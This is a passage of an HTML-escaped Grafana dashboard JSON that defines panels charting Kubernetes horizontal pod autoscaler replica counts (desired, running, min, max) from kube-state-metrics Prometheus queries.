/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;tableColumn&quot;:&amp;nbsp;&quot;&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;targets&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;expr&quot;:&amp;nbsp;&quot;kube_horizontalpodautoscaler_spec_max_replicas{job=\&quot;kube-state-metrics\&quot;}&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;format&quot;:&amp;nbsp;&quot;time_series&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;intervalFactor&quot;:&amp;nbsp;2,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;legendFormat&quot;:&amp;nbsp;&quot;&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;refId&quot;:&amp;nbsp;&quot;A&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;thresholds&quot;:&amp;nbsp;&quot;&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;title&quot;:&amp;nbsp;&quot;Max&amp;nbsp;Replicas&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;type&quot;:&amp;nbsp;&quot;singlestat&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;valueFontSize&quot;:&amp;nbsp;&quot;80%&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;valueMaps&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;op&quot;:&amp;nbsp;&quot;=&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;text&quot;:&amp;nbsp;&quot;0&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;value&quot;:&amp;nbsp;&quot;null&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;valueName&quot;:&amp;nbsp;&quot;current&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;aliasColors&quot;:&amp;nbsp;{},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;bars&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;dashLength&quot;:&amp;nbsp;10,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;dashes&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;datasource&quot;:&amp;nbsp;&quot;$datasource&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;fill&quot;:&amp;nbsp;0,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;gridPos&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;h&quot;:&amp;nbsp;12,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;w&quot;:&amp;nbsp;24,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;x&quot;:&amp;nbsp;0,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;y&quot;:&amp;nbsp;3&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;id&quot;:&amp;nbsp;9,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;legend&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;alignAsTable&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;avg&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;current&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;max&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;min&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;rightSide&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;show&quot;:&amp;nbsp;true,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;total&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;values&quot;:&amp;nbsp;false&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;lines&quot;:&amp;nbsp;true,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;linewidth&quot;:&amp;nbsp;1,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;links&quot;:&amp;nbsp;[],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;nullPointMode&quot;:&amp;nbsp;&quot;null&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;paceLength&quot;:&amp;nbsp;10,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;percentage&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;pointradius&quot;:&amp;nbsp;5,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;points&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;renderer&quot;:&amp;nbsp;&quot;flot&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;repeat&quot;:&amp;nbsp;null,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;seriesOverrides&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;alias&quot;:&amp;nbsp;&quot;Max&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;color&quot;:&amp;nbsp;&quot;#C4162A&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;alias&quot;:&amp;nbsp;&quot;Min&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;color&quot;:&amp;nbsp;&quot;#1F60C4&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;spaceLength&quot;:&amp;nbsp;10,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;stack&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;steppedLine&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;targets&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;expr&quot;:&amp;nbsp;&quot;kube_horizontalpodautoscaler_status_desired_replicas{job=\&quot;kube-state-metrics\&quot;,namespace=\&quot;$namespace\&quot;}&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;format&quot;:&amp;nbsp;&quot;time_series&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;intervalFactor&quot;:&amp;nbsp;2,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;legendFormat&quot;:&amp;nbsp;&quot;Desired&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;refId&quot;:&amp;nbsp;&quot;B&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;expr&quot;:&amp;nbsp;&quot;kube_horizontalpodautoscaler_status_current_replicas{job=\&quot;kube-state-metrics\&quot;,namespace=\&quot;$namespace\&quot;}&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;format&quot;:&amp;nbsp;&quot;time_series&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;intervalFactor&quot;:&amp;nbsp;2,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;legendFormat&quot;:&amp;nbsp;&quot;Running&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;refId&quot;:&amp;nbsp;&quot;C&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;expr&quot;:&amp;nbsp;&quot;kube_horizontalpodautoscaler_spec_max_replicas{job=\&quot;kube-state-metrics\&quot;,namespace=\&quot;$namespace\&quot;}&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;format&quot;:&amp;nbsp;&quot;time_series&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;instant&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;intervalFactor&quot;:&amp;nbsp;2,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;legendFormat&quot;:&amp;nbsp;&quot;Max&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;refId&quot;:&amp;nbsp;&quot;A&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;expr&quot;:&amp;nbsp;&quot;kube_horizontalpodautoscaler_spec_min_replicas{job=\&quot;kube-state-metrics\&quot;,namespace=\&quot;$namespace\&quot;}&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;format&quot;:&amp;nbsp;&quot;time_series&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;instant&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;intervalFactor&quot;:&amp;nbsp;2,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;legendFormat&quot;:&amp;nbsp;&quot;Min&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;refId&quot;:&amp;nbsp;&quot;D&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;thresholds&quot;:&amp;nbsp;[],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;timeFrom&quot;:&amp;nbsp;null,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;timeRegions&quot;:&amp;nbsp;[],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;timeShift&quot;:&amp;nbsp;null,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;title&quot;:&amp;nbsp;&quot;Replicas&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;tooltip&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;shared&quot;:&amp;nbsp;true,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;sort&quot;:&amp;nbsp;0,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;value_type&quot;:&amp;nbsp;&quot;individual&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;type&quot;:&amp;nbsp;&quot;graph&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;xaxis&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;buckets&quot;:&amp;nbsp;null,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;mode&quot;:&amp;nbsp;&quot;time&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;name&quot;:&amp;nbsp;null,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;show&quot;:&amp;nbsp;true,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;values&quot;:&amp;nbsp;[]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;yaxes&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;format&quot;:&amp;nbsp;&quot;short&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;label&quot;:&amp;nbsp;null,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;logBase&quot;:&amp;nbsp;1,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;max&quot;:&amp;nbsp;null,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;min&quot;:&amp;nbsp;null,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;show&quot;:&amp;nbsp;true&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;format&quot;:&amp;nbsp;&quot;short&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;label&quot;:&amp;nbsp;null,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;logBase&quot;:&amp;nbsp;1,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;max&quot;:&amp;nbsp;null,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;min&quot;:&amp;nbsp;null,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;show&quot;:&amp;nbsp;true&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;yaxis&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;align&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;alignLevel&quot;:&amp;nbsp;null&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&quot;refresh&quot;:&amp;nbsp;&quot;10s&quot;,&lt;br 